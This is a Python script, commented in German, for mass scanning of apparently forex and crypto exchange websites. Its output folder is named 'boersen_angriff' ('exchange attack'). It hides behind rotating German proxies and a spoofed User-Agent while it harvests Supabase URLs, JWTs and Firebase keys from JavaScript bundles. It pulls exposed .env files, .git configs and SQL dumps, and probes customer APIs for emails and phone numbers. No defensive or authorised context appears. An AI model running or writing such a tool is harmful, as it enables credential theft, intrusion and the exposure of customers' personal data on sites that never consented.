#!/usr/bin/env python3
# Probe-Sweep: Fingerprint + JS-Bundle-Secrets (Supabase/Firebase) + strenge Leak-Pfade + Stack-APIs
# Aufruf: probe_sweep.py <targets.json> <prefix> <worker> <nworkers>
# Strikt: JSON muss parsebar sein, .env ohne HTML, .git/config mit [core]. Keine False-Positives wie im Vorlauf.
import json, time, random, re, sys, os, urllib.request as ur, urllib.error

targets = json.load(open(sys.argv[1]))
PREFIX = sys.argv[2]
WORKER = int(sys.argv[3])
NWORKERS = int(sys.argv[4])
shard = targets[WORKER::NWORKERS]

BASE = "/home/marcel7364/investoren-daten/forex/boersen_angriff"
OUT = f"{BASE}/{PREFIX}_w{WORKER}.json"
UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36"

def get_proxy():
    for _ in range(5):
        try:
            return json.loads(ur.urlopen(f"http://127.0.0.1:8110/proxy?country=DE&session=fxboerse-{PREFIX}-{WORKER}&ttl=14000", timeout=15).read())["proxy_url"]
        except Exception:
            time.sleep(4)
    return None

proxy_url = get_proxy()
def opener():
    if not proxy_url:
        return ur.build_opener()
    op = ur.build_opener(ur.ProxyHandler({"http": proxy_url, "https": proxy_url}))
    op.addheaders = [("User-Agent", UA)]
    return op
op = opener()

def req(url, n=40000, timeout=18):
    try:
        with op.open(ur.Request(url), timeout=timeout) as r:
            return {"status": r.status, "body": r.read(n).decode("utf-8", "replace")}
    except urllib.error.HTTPError as e:
        try: body = e.read(1500).decode("utf-8", "replace")
        except Exception: body = ""
        return {"status": e.code, "body": body}
    except Exception as e:
        return {"status": -1, "body": f"ERR {type(e).__name__}"}

def is_json(body):
    t = body.strip()
    if not t or t[0] not in "[{": return False
    try: json.loads(t); return True
    except Exception: return False

SIGS = [
    (r'hollaex|HollaEx', 'hollaex'),
    (r'peatio|Peatio', 'peatio'),
    (r'opendax|OpenDAX|barong|peatio', 'opendax_family'),
    (r'ctrader|cTrader|Spotware', 'ctrader'),
    (r'MetaTrader|metaquotes|mt5\.|mt4\.', 'mt45'),
    (r'wp-content|wordpress|/wp-json', 'wordpress'),
    (r'woocommerce', 'woocommerce'),
    (r'b2broker|b2core|B2BinPay', 'b2broker'),
    (r'match-trader|matchtrader', 'matchtrader'),
    (r'shopify|cdn\.shopify', 'shopify'),
]

SUPA_RE = re.compile(r'https://([a-z0-9-]{8,25})\.supabase\.co')
JWT_RE = re.compile(r'eyJ[A-Za-z0-9_-]{30,}\.[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}')
AIZA_RE = re.compile(r'AIza[0-9A-Za-z_-]{35}')

results = {}
if os.path.exists(OUT):
    results = json.load(open(OUT))

n = 0
for d in shard:
    if d in results: continue
    entry = {"host": d}
    # Base finden
    base, home = None, None
    for cand in (f"https://{d}", f"https://www.{d}"):
        r = req(cand + "/", n=60000)
        if r["status"] in (200, 301, 302, 308, 403, 405):
            base, home = cand, r
            break
    if not base:
        entry["dead"] = True
        results[d] = entry
        n += 1
        if n % 25 == 0:
            json.dump(results, open(OUT, "w"), ensure_ascii=False); print(f"w{WORKER} {n}/{len(shard)} (dead-Ende)", flush=True)
        time.sleep(random.uniform(0.6, 1.2))
        continue
    entry["base"] = base
    entry["status"] = home["status"]
    entry["server"] = home["h"] if False else ""
    body = home["body"]
    sigs = [name for pat, name in SIGS if re.search(pat, body, re.I)]
    if sigs: entry["stack"] = sigs
    secrets = {"supabase": sorted(set(SUPA_RE.findall(body))), "jwts": sorted(set(JWT_RE.findall(body)))[:6], "firebase": sorted(set(AIZA_RE.findall(body)))[:4]}
    # JS-Bundles scannen (bis 3)
    srcs = []
    for m in re.finditer(r'<script[^>]+src="([^"]+)"', body):
        s = m.group(1)
        if s.startswith("//"): s = "https:" + s
        elif s.startswith("/"): s = base + s
        if not s.startswith("http"): continue
        if any(x in s for x in ("googletagmanager", "google-analytics", "facebook", "clarity", "hotjar", "fonts.")): continue
        srcs.append(s)
    seen = []
    for s in srcs:
        if s in seen: continue
        seen.append(s)
        if len(seen) > 3: break
        rb = req(s, n=280000)
        if rb["status"] == 200 and len(rb["body"]) > 200:
            for ref in SUPA_RE.findall(rb["body"]): secrets["supabase"].append(ref)
            for j in sorted(set(JWT_RE.findall(rb["body"])))[:4]:
                if j not in secrets["jwts"]: secrets["jwts"].append(j)
            for k in sorted(set(AIZA_RE.findall(rb["body"])))[:3]:
                if k not in secrets["firebase"]: secrets["firebase"].append(k)
            # Stack-Signaturen aus Bundle ergänzen
            for pat, name in SIGS:
                if name not in entry.get("stack", []) and re.search(pat, rb["body"], re.I):
                    entry.setdefault("stack", []).append(name)
        time.sleep(random.uniform(0.4, 0.8))
    secrets["supabase"] = sorted(set(secrets["supabase"]))
    if secrets["supabase"] or secrets["firebase"] or secrets["jwts"]:
        entry["secrets"] = secrets
    entry["scripts"] = len(seen)
    # Strenge Leak-Pfade
    def sql_dump_ok(b):
        t = b.strip()[:4000]
        return "<" not in t[:300] and re.search(r'(--[^\n]*\n|CREATE TABLE|INSERT INTO `?[a-z_]', t) is not None
    for path in ("/.env", "/.git/config", "/backup.sql", "/db.sql", "/dump.sql"):
        r2 = req(base + path, n=16000)
        b2 = r2["body"]
        if path == "/.env" and r2["status"] == 200 and "<" not in b2[:300] and re.search(r'^[A-Za-z_][A-Za-z0-9_]*=', b2.strip(), re.M) and len(b2) < 15000:
            entry["env"] = {"len": len(b2), "head": b2[:800]}
        if path == "/.git/config" and r2["status"] == 200 and "[core]" in b2:
            entry["gitcfg"] = {"len": len(b2), "head": b2[:400]}
        if path.endswith(".sql") and r2["status"] == 200 and sql_dump_ok(b2):
            entry["sqldump"] = {"path": path, "len": len(b2), "head": b2[:400]}
        time.sleep(random.uniform(0.4, 0.7))
    # Stack-API-Proben (strikt JSON)
    stack = entry.get("stack", [])
    apis = {}
    def probe(path, name):
        r3 = req(base + path, n=9000)
        if r3["status"] == 200 and is_json(r3["body"]):
            apis[name] = {"path": path, "head": r3["body"][:300]}
    if any(s in stack for s in ("hollaex", "opendax_family")):
        probe("/api/v3/tickers", "hollaex_v3_tickers")
        probe("/api/v2/peatio/public/currencies", "peatio_public")
    if "opendax_family" in stack or "peatio" in stack:
        probe("/trade_api/v2/front/markets", "opendax_markets")
    if "wordpress" in stack:
        probe("/wp-json/wp/v2/users", "wp_users")
    if apis: entry["api"] = apis
    # Generische Kunden-API-Proben (strikt: JSON + PII-Felder)
    for gp, gname in (("/api/users", "api_users"), ("/api/customers", "api_customers"), ("/api/v1/customers", "api_v1_customers")):
        rg = req(base + gp, n=12000)
        if rg["status"] == 200 and is_json(rg["body"]):
            try:
                jg = json.loads(rg["body"].strip())
            except Exception:
                jg = None
            rows_g = jg if isinstance(jg, list) else [jg] if isinstance(jg, dict) else []
            if rows_g and isinstance(rows_g[0], dict) and any(re.search(r'(email|mail|phone|name|first)', k, re.I) for k in rows_g[0].keys()):
                entry.setdefault("api", {})[gname] = {"path": gp, "n": len(rows_g), "head": rg["body"][:400]}
        time.sleep(random.uniform(0.4, 0.7))
    results[d] = entry
    n += 1
    if n % 25 == 0:
        json.dump(results, open(OUT, "w"), ensure_ascii=False)
        found = sum(1 for e in results.values() if e.get("secrets") or e.get("env") or e.get("gitcfg") or e.get("api"))
        print(f"w{WORKER} {n}/{len(shard)} (Hits gesamt: {found})", flush=True)
    time.sleep(random.uniform(0.7, 1.4))

json.dump(results, open(OUT, "w"), ensure_ascii=False)
found = sum(1 for e in results.values() if e.get("secrets") or e.get("env") or e.get("gitcfg") or e.get("api"))
print(f"w{WORKER} FERTIG {len(results)} (Hits: {found})", flush=True)
